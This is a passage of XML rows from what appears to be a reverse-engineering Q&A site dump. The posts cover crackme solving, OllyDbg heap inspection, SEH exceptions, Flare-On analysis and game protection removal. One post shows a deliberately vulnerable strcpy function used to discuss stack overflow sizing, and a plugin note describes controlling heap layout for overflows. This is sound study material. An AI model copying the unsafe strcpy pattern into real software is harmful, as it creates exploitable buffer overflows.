0x804847&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it checks if the file name is more than 15 characters long:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08048472      8b450c         mov eax, dword [arg_ch]     ; [0xc:4]=-1 ; 12&#xA;0x08048475      8b00           mov eax, dword [eax]&#xA;0x08048477      89442418       mov dword [local_18h], eax&#xA;0x0804847b      8b442418       mov eax, dword [local_18h]  ; [0x18:4]=-1 ; 24&#xA;0x0804847f      890424         mov dword [esp], eax&#xA;0x08048482      e8a9feffff     call sym.imp.strlen         ; size_t strlen(const char *s)&#xA;0x08048487      8944241c       mov dword [local_1ch], eax&#xA;0x0804848b      837c241c15     cmp dword [local_1ch], 0x15 ; [0x15:4]=-1 ; 21&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, you need to change the file name to be more than 15 characters long and pass it at least one argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the interesting part. In the following conditions, the program is checking whether &lt;code&gt;filename[some_offset] == chr(0x??)&lt;/code&gt; and if yes, it goes to another offset in the file name and checks the value there.&lt;br&gt;&#xA;So, for example, in the first check you can see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x080484a7      8b442418       mov eax, dword [local_18h]&#xA;0x080484ab      83c014         add eax, 0x14&#xA;0x080484ae      0fb600         movzx eax, byte [eax]&#xA;0x080484b1      3c73           cmp al, 0x73                ; 's' ; 115&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this block it checks whether &lt;code&gt;filename[0x14] == chr(0x73)&lt;/code&gt; which radare hints you that 0x73 equals the letter 's'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, it jumps to another block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x080484b9      8b442418       mov eax, dword [local_18h]&#xA;0x080484bd      83c008         add eax, 8&#xA;0x080484c0      0fb600         movzx eax, byte [eax]&#xA;0x080484c3      3c67           cmp al, 0x67                ; 'g' ; 103&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this block the program checks whether &lt;code&gt;filename[8]=='g'&lt;/code&gt;.&lt;br&gt;&#xA;And so on until it checks all the offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll leave it to you to solve it and figure out what should be the name of the program.&lt;br&gt;&#xA;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-12-28T23:22:04.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17069" PostTypeId="2" ParentId="17048" CreationDate="2017-12-29T11:52:19.963" Score="2" Body="&lt;p&gt;As I guessed and was confirmed in the comments, this is apparently some compiler optimization reusing methods executing the same logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This got clear to me when I reversed the methods of one of the more specific objects, like the data stream reader / writer here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg002:008F4FC4     const DataStream::`vftable' dd offset DataStream__readByte ; DATA XREF: DataStream__ctor+12↑o&#xA;seg002:008F4FC8         dd offset DataStream__readWord&#xA;seg002:008F4FCC         dd offset DataStream__readDword&#xA;seg002:008F4FD0         dd offset DataStream__readBytes&#xA;seg002:008F4FD4         dd offset DataStream__canReadWrite&#xA;seg002:008F4FD8         dd offset DataStream__writeByte&#xA;seg002:008F4FDC         dd offset DataStream__writeWord&#xA;seg002:008F4FE0         dd offset DataStream__writeDword&#xA;seg002:008F4FE4         dd offset DataStream__writeBytes&#xA;seg002:008F4FE8         dd offset DataStream__canReadWrite&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that the methods &lt;code&gt;canRead&lt;/code&gt; and &lt;code&gt;canWrite&lt;/code&gt; were simply optimized into one method (which I named &lt;code&gt;canReadWrite&lt;/code&gt;) as the logic for both is the same (hexrays output):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool __thiscall DataStream::canReadWrite(DataStream *this, int lengthRequired)&#xA;{&#xA;    return this-&amp;gt;members.pData &amp;lt;= this-&amp;gt;members.pDataEnd&#xA;        &amp;amp;&amp;amp; this-&amp;gt;members.pDataEnd - this-&amp;gt;members.pData &amp;gt;= lengthRequired;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It &lt;em&gt;may&lt;/em&gt; be the case that some other data stream class (like a read- or write-only one) will implement each method differently (returning simply &lt;code&gt;false&lt;/code&gt; for said cases), but not in this class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, for an even more generic base class like &lt;code&gt;Object&lt;/code&gt; above, a lot of methods do nothing specific in particular, and are optimized into one.&lt;/p&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2017-12-29T11:52:19.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17070" PostTypeId="1" AcceptedAnswerId="17073" CreationDate="2017-12-29T11:57:02.280" Score="2" ViewCount="1942" Body="&lt;p&gt;I have a C compiled binary that allocates an array of chars into the heap via &lt;code&gt;HeapAlloc()&lt;/code&gt;.&#xA;I would like to be able to see the allocated dynamic array in the heap using Ollydbg to be able to trace it and see how it is being modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Insert a unique string e.g. &lt;code&gt;r00tr00tr00tr00t...r00t&lt;/code&gt; via the binary**&lt;/li&gt;&#xA;&lt;li&gt;Go to Memory View (ALT+M)&lt;/li&gt;&#xA;&lt;li&gt;Search (CTRL+B) for ASCII: &lt;code&gt;r00t&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I always fail to locate it. I'm new to this so is the steps I took the right direction? If no how can I locate the string in the heap?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** this is injected with normal flow of the program, it accepts data from user. Let's say it's a serial number to be entered for instanc, which is placed in the heap using &lt;code&gt;HeapAlloc&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="22743" LastActivityDate="2017-12-29T14:15:20.313" Title="How can I see the heap data in ollydbg?" Tags="|ollydbg|c|memory|heap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17073" PostTypeId="2" ParentId="17070" CreationDate="2017-12-29T14:15:20.313" Score="2" Body="&lt;p&gt;There is two ollydbg plugins that can help you to see the heap data.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Heap Vis by Pedram Amini&lt;br&gt;&#xA;You may have noticed the ghosted 'Heap' option under the 'View' menu in OllyDBG. The feature is available only under Windows 95 based OSes and is supposed to display a list of allocated memory blocks. The Olly Heap Vis plug-in was written to provide this functionality and more on all modern Windows OSes such as Windows 2000, XP and 2003. The OllyDbg Heap Vis plug-in exposes the following functionality:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;View Heaps&lt;/li&gt;&#xA;&lt;li&gt;Search Heaps&lt;/li&gt;&#xA;&lt;li&gt;Jump to Heap Chunk&lt;/li&gt;&#xA;&lt;li&gt;Create Heap Visualization   &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9vzer.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9vzer.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.openrce.org/downloads/details/1/Heap_Vis&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.openrce.org/downloads/details/1/Heap_Vis&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- OllyHeapTrace by Stephen Fewer&lt;br&gt;&#xA;OllyHeapTrace (Written in 2008) is a plugin for OllyDbg (version 1.10) to trace the heap operations being performed by a process. It will monitor heap allocations and frees for multiple heaps, as well as operations such as creating or destroying heaps and reallocations. All parameters as well as return values are recorded and the trace is highlighted with a unique colour for each heap being traced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary purpose of this plugin is to aid in the debugging of heap overflows where you wish to be able to control the heap layout to overwrite a specific structure such as a chunk header, critical section structure or some application specific data. By tracing the heap operations performed during actions you can control (for example opening a connection, sending a packet, closing a connection) you can begin to predict the heap operations and thus control the heap layout.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CzcVX.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CzcVX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/stephenfewer/OllyHeapTrace&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/stephenfewer/OllyHeapTrace&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22363" LastActivityDate="2017-12-29T14:15:20.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17074" PostTypeId="1" CreationDate="2017-12-29T17:53:01.607" Score="5" ViewCount="8904" Body="&lt;p&gt;I'm debugging a game and I often come across an exception (EXCEPTION_PRIV_INSTRUCTION)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debugger pauses on the address where it stops, now I want to step over one command at a time but when I step over it doesn't go one command at a time&lt;/p&gt;&#xA;" OwnerUserId="22599" LastActivityDate="2017-12-30T20:05:22.847" Title="Dealing with exceptions in x64dbg" Tags="|exception|x64dbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17075" PostTypeId="1" AcceptedAnswerId="17076" CreationDate="2017-12-29T18:27:08.897" Score="4" ViewCount="2076" Body="&lt;p&gt;Given that function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void vuln( char * arg ) {&#xA;    char buf[256];&#xA;    strcpy(buf, arg);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disassembled in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       0x0804842b      55             push ebp                                                                                                                                                                                          &#xA;       0x0804842c      89e5           mov ebp, esp                                                                                                                                                                                      &#xA;       0x0804842e      81ec08010000   sub esp, 0x108                                                                                                                                                                                    &#xA;       0x08048434      83ec08         sub esp, 8                                                                                                                                                                                        &#xA;       0x08048437      ff7508         push dword [arg_8h]                                                                                            &#xA;       0x0804843a      8d85f8feffff   lea eax, ebp - 0x108                                                                                                                                                                              &#xA;       0x08048440      50             push eax                                                                                                           &#xA;       0x08048441      e8bafeffff     call sym.imp.strcpy                                                                                             &#xA;       0x08048446      83c410         add esp, 0x10                                                                                                                                                                                     &#xA;       0x08048449      c9             leave                                                                                                                                                                                             &#xA;       0x0804844a      c3             ret             &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It overflows when the argument is 264 = 0x108 chars and I was expecting 256 bytes. Why compiler adds 8 bytes with &lt;code&gt;sub esp,8&lt;/code&gt; ?       &lt;/p&gt;&#xA;" OwnerUserId="22655" LastActivityDate="2017-12-29T23:50:36.130" Title="Stack buffer size is different between C and ASM" Tags="|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17076" PostTypeId="2" ParentId="17075" CreationDate="2017-12-29T20:54:59.130" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;According to the &lt;a href=&quot;https://refspecs.linuxfoundation.org/elf/abi386-4.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;SYS V i386 ABI&lt;/a&gt; the stack must be at minimum operating system word aligned prior to execution of the &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_26.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CALL&lt;/code&gt;&lt;/a&gt; instruction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpt from Peter Cordes' answer to &lt;a href=&quot;https://stackoverflow.com/questions/40307193/responsiblity-of-stack-alignment-in-x86-assembly&quot;&gt;Responsiblity of stack alignment in x86 assembly&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The i386 System V ABI has guaranteed/required for years that ESP+4 is 16B-aligned on entry to a function. (i.e. ESP must be 16B-aligned before a CALL instruction, so args on the stack start at a 16B boundary. This is the same as for x86-64 System V.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Additionally, GCC aligns the stack to a 16-byte boundary by defualt. To accomplish this, GCC will allocate additional space in an area within a function's stack frame that is considered unrestricted by the ABI:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Other areas depend on the compiler and the code being compiled. The standard calling sequence does not define a maximum stack frame size, nor does it restrict how a language system uses the ‘‘unspecified’’ area of the standard stack frame.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in the ABI the function return address is considered to be part of the current stack frame:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I0vwk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I0vwk.png&quot; alt=&quot;i386 stack frame layout&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is enough information to allow us to determine why the compiler generates code that creates unused space on the stack. Let us examine the code, focusing on instructions that result in stack frame memory allocation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x0804842b      55             push ebp                     ( 1 )                                                                                                                                                                     &#xA;   0x0804842c      89e5           mov ebp, esp                                                                                                                                                                                      &#xA;   0x0804842e      81ec08010000   sub esp, 0x108               ( 2 )                                                                                                                                                                     &#xA;   0x08048434      83ec08         sub esp, 8                   ( 3 )                                                                                                                                                                    &#xA;   0x08048437      ff7508         push dword [arg_8h]          ( 4 )                                                                                  &#xA;   0x0804843a      8d85f8feffff   lea eax, ebp - 0x108                                                                                                                                                                              &#xA;   0x08048440      50             push eax                     ( 5 )                                                                                      &#xA;   0x08048441      e8bafeffff     call sym.imp.strcpy          ( 6 )                                                                                   &#xA;   0x08048446      83c410         add esp, 0x10                                                                                                                                                                                     &#xA;   0x08048449      c9             leave                                                                                                                                                                                             &#xA;   0x0804844a      c3             ret             &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;We now know that the return address is considered to be part of the current stack frame. i386 machines have 32-bit architecture, so the return address takes up 4 bytes of space and execution of the instruction &lt;code&gt;push ebp&lt;/code&gt; will decrement the stack pointer by 4 bytes.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;4 + 4 = 8, so at this point the stack frame is 8 bytes in size.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As you noted, this creates 264 bytes of space. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;8 +  264 = 272&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;sub esp, 8&lt;/code&gt; - the specific instruction in question. Creates 8 additional bytes of space on the stack frame.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;272 + 8 = 280&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As before, &lt;code&gt;push&lt;/code&gt; has the effect of adding 4 bytes of space.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;280 + 4 = 284&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another &lt;code&gt;push&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;284 + 4 = 288&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now it is time for execution of the &lt;code&gt;call&lt;/code&gt; instruction. At this point the stack frame is 288 bytes in size. Let us check for alignment to a 16-byte boundary:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;288 % 16 = 0 (thanks RadLexus). The stack frame is correctly aligned.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;Conclusion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compiler uses &lt;code&gt;sub esp, 8&lt;/code&gt; to maintain stack frame alignment to a 16-byte boundary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/4175281/what-does-it-mean-to-align-the-stack&quot;&gt;https://stackoverflow.com/questions/4175281/what-does-it-mean-to-align-the-stack&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://software.intel.com/en-us/forums/intel-isa-extensions/topic/291241&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://software.intel.com/en-us/forums/intel-isa-extensions/topic/291241&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-12-29T23:50:36.130" LastActivityDate="2017-12-29T23:50:36.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17078" PostTypeId="1" CreationDate="2017-12-30T05:37:11.827" Score="2" ViewCount="311" Body="&lt;p&gt;I'm hacking a game in my library (Mirror's Edge) to re-route where the save data is located. I've done this with &lt;strong&gt;many&lt;/strong&gt; other games successfully, but this one has me stumped. Normally, I start with HxD and search for standard or unicode strings. If I can't find the string I'm looking for with a simple program like HxD, I move to more advanced programs like OllyDbg. In OllyDbg I use either the memory map or I search for all referenced strings in the CPU window. The game was obfuscated and had protection initially but I have since (successfully) removed it. I can't find the string with any of the methods I know, is there another tool or options with HxD or OllyDbg that can find strings that are stored differently?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the game saves it's data in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;%USERPROFILE%\Documents\EA Games\Mirror's Edge&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21084" LastEditorUserId="21084" LastEditDate="2017-12-30T05:55:58.857" LastActivityDate="2017-12-31T08:14:03.540" Title="What other methods can be used to find file paths in an executable?" Tags="|windows|ollydbg|strings|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17079" PostTypeId="1" CreationDate="2017-12-30T11:37:57.187" Score="3" ViewCount="959" Body="&lt;p&gt;There is a DOS game I want to run through a debugger. I tried using (FreeDos) &#xA;DEBUG.COM over DosBox. But the problem is that this game uses graphics, and this messes up the output of DEBUG.COM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way (it can be by choosing other debugger) to separate the graphical output of the game and the textual output of the debugger?&lt;/p&gt;&#xA;" OwnerUserId="22751" LastActivityDate="2017-12-30T16:55:43.707" Title="debugging a graphical msdos game" Tags="|debugging|dos|dos-exe|graphics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17081" PostTypeId="1" AcceptedAnswerId="17082" CreationDate="2017-12-30T16:00:46.757" Score="1" ViewCount="1342" Body="&lt;p&gt;i'm reading the solution of an exercise ( keygen me )&#xA;and i found this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Load OllyDbg, where EIP is located&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EIP = 0x51BDE1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it means ?? and how can i find this !&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="22725" LastEditorUserId="22725" LastEditDate="2017-12-31T16:57:08.177" LastActivityDate="2017-12-31T16:57:08.177" Title="what means ollydbg EIP location?" Tags="|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17082" PostTypeId="2" ParentId="17081" CreationDate="2017-12-30T16:53:07.897" Score="5" Body="&lt;p&gt;To quote from the &quot;X86 Assembly book&quot; in &lt;a href=&quot;https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture#Instruction_Pointer&quot; rel=&quot;noreferrer&quot;&gt;WikiBooks&lt;/a&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The EIP (Extended Instruction Pointer) register contains the address&#xA;  of the next instruction to be executed if no branching is done.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;EIP can only be read through the stack after a call instruction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, EIP tells the computer where to go next to execute the next command and controls the flow of a program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This simple example shows the automatic addition to eip at every step (&lt;a href=&quot;https://wiki.skullsecurity.org/index.php?title=Registers#eip&quot; rel=&quot;noreferrer&quot;&gt;source&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eip+1      53                push    ebx&#xA;eip+4      8B 54 24 08       mov     edx, [esp+arg_0]&#xA;eip+2      31 DB             xor     ebx, ebx&#xA;eip+2      89 D3             mov     ebx, edx&#xA;eip+3      8D 42 07          lea     eax, [edx+7]&#xA;.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To spot EIP in OllyDbg you just have to look at the right panel and you'll find where EIP is pointing to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FWuG5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FWuG5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in your example &lt;code&gt;EIP = 0x51BDE1&lt;/code&gt;, thus the address of the next instruction  will be &lt;code&gt;0x51BDE1&lt;/code&gt;. From the sentence you quoted, it seems like the writer want you to do something on this address. By default, OllyDbg would show you EIP in the disassembly window so it would be easy to spot it.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-12-30T16:53:07.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17083" PostTypeId="2" ParentId="17079" CreationDate="2017-12-30T16:55:43.707" Score="4" Body="&lt;p&gt;Please check this guide &lt;a href=&quot;https://www.vogons.org/viewtopic.php?t=3944&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.vogons.org/viewtopic.php?t=3944&lt;/a&gt;&#xA;DosBox has additional internal debugger, but it has to be build with support for that.&lt;/p&gt;&#xA;" OwnerUserId="8133" LastActivityDate="2017-12-30T16:55:43.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17084" PostTypeId="2" ParentId="17074" CreationDate="2017-12-30T20:05:22.847" Score="8" Body="&lt;p&gt;Exceptions are complicated business. I will attempt to explain briefly how SEH (Structured Exception Handling) in Windows works to invoke the appropriate exception handler. Your game probably does not use SEH, however, since your question is too broad so will be my answer. I based it on SEH since it's the easiest to understand and you can work your way up.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Exception basics&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are hardware and software exceptions. Hardware exceptions are thrown by the CPU - for example on illegal memory access, division by 0...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Software exceptions (which are caused by e.g. &lt;code&gt;throw&lt;/code&gt; in C++ use the &lt;code&gt;RaiseException&lt;/code&gt; call under Windows (refer MSDN).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OS stores an &lt;em&gt;exception-handler list&lt;/em&gt; - a list of routines that can deal with exceptions. These routines are usually the instructions in your &lt;code&gt;catch&lt;/code&gt; block. Each routine determines, when it is called, whether on not it wants to handle the exception. If your routine decides not to handle the exceptions it tells the OS to keep looking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The handler list is stored in the &lt;em&gt;thread information block (TIB)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_NT_TIB:&#xA;    +0x000 ExceptionList&#xA;    +0x004 StackBase&#xA;    +0x008 StackLimit&#xA;    +0x00C SubSytemTib&#xA;    +0x010 FiberData&#xA;    +0x010 Version&#xA;    +0x014 ArbitaryUserPointer&#xA;    +0x018 Self&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The TIB is available at&lt;code&gt;FS:[0]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ExceptionList&lt;/code&gt; field is the head of the current thread's exception handler list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list is a chain of &lt;code&gt;_EXCEPTION_REGISTRATION_RECORD&lt;/code&gt; structures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_EXCEPTION_REGISTRATION_RECORD&#xA;    +0x000 Next&#xA;    +0x004 Handler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;How are exceptions dispatched (page-fault example)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The processor generates a page-fault interrupt &lt;code&gt;INT 0x0E&lt;/code&gt; and calls &lt;code&gt;[IDT+0x0E]&lt;/code&gt;. In Windows this is usually &lt;code&gt;KiTrap0E&lt;/code&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Windows then calls into a user-mode exception dispatcher routine &lt;code&gt;KiUserExceptionDispatcher&lt;/code&gt; in &lt;code&gt;NTDLL.DLL&lt;/code&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The dispatcher then calls into &lt;code&gt;RtlDispatchException&lt;/code&gt; which iterates through the &lt;code&gt;ExceptionList&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can see from above why your program jumps around and you cannot follow it line by line - when an exception occurs the processor itself calls the &lt;code&gt;KiTrap0E&lt;/code&gt; - you cannot see that call. Then as the handlers are invoked there is also a lot of &quot;jumping around&quot; - the &lt;code&gt;RtlDispatchException&lt;/code&gt; function iterates through all the registered exception handlers. You need to locate the appropriate handler and see what your game does with your exception.&lt;/p&gt;&#xA;" OwnerUserId="22648" LastActivityDate="2017-12-30T20:05:22.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17085" PostTypeId="1" AcceptedAnswerId="17088" CreationDate="2017-12-31T04:49:52.417" Score="5" ViewCount="354" Body="&lt;p&gt;I was trying the flare on challenge. When trying the challenge#3 I got into some trouble and could not solve it. After looking into solutions wrote by other I now do know how the program works, but i have confusion in the following line.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     ecx, offset loc_40107C&#xA;add     ecx, 79h&#xA;mov     eax, offset loc_40107C&#xA;mov     dl, [ebp+buf]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The solution that I am reading states that this instruction is moving the address into the &lt;code&gt;ecx&lt;/code&gt; register and is used in combination with &lt;code&gt;eax&lt;/code&gt; register to replace some values in that same location. The loop that does this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_401039:&#xA;mov     bl, [eax]&#xA;xor     bl, dl&#xA;add     bl, 22h&#xA;mov     [eax], bl&#xA;inc     eax&#xA;cmp     eax, ecx&#xA;jl      short loc_401039&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when i try and enter the location 40107C it seems the location has following instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;icebp&#xA;push    es&#xA;sbb     dword ptr [esi], 1F99C4F0h&#xA;les     edx, [ecx+1D81061Ch]&#xA;out     6, al           ; DMA controller, 8237A-5.&#xA;                        ; channel 3 base address&#xA;                        ; (also sets current address)&#xA;and     dword ptr [edx-11h], 0F2638106h&#xA;push    es&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should not the location be empty or have some other values than assembly instructions since the location is being used for storing value, Or have I misunderstood something here, Can someone please clarify ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution I was reading : &lt;a href=&quot;https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/Flare-On%202017/Challenge%20%233%20solution.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/Flare-On%202017/Challenge%20%233%20solution.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22756" LastEditorUserId="1413" LastEditDate="2017-12-31T05:22:19.903" LastActivityDate="2017-12-31T19:56:06.233" Title="Flare-ON#3: Problem understanding some parts in the program" Tags="|ida|disassembly|assembly|binary-analysis|x86|" AnswerCount="2" 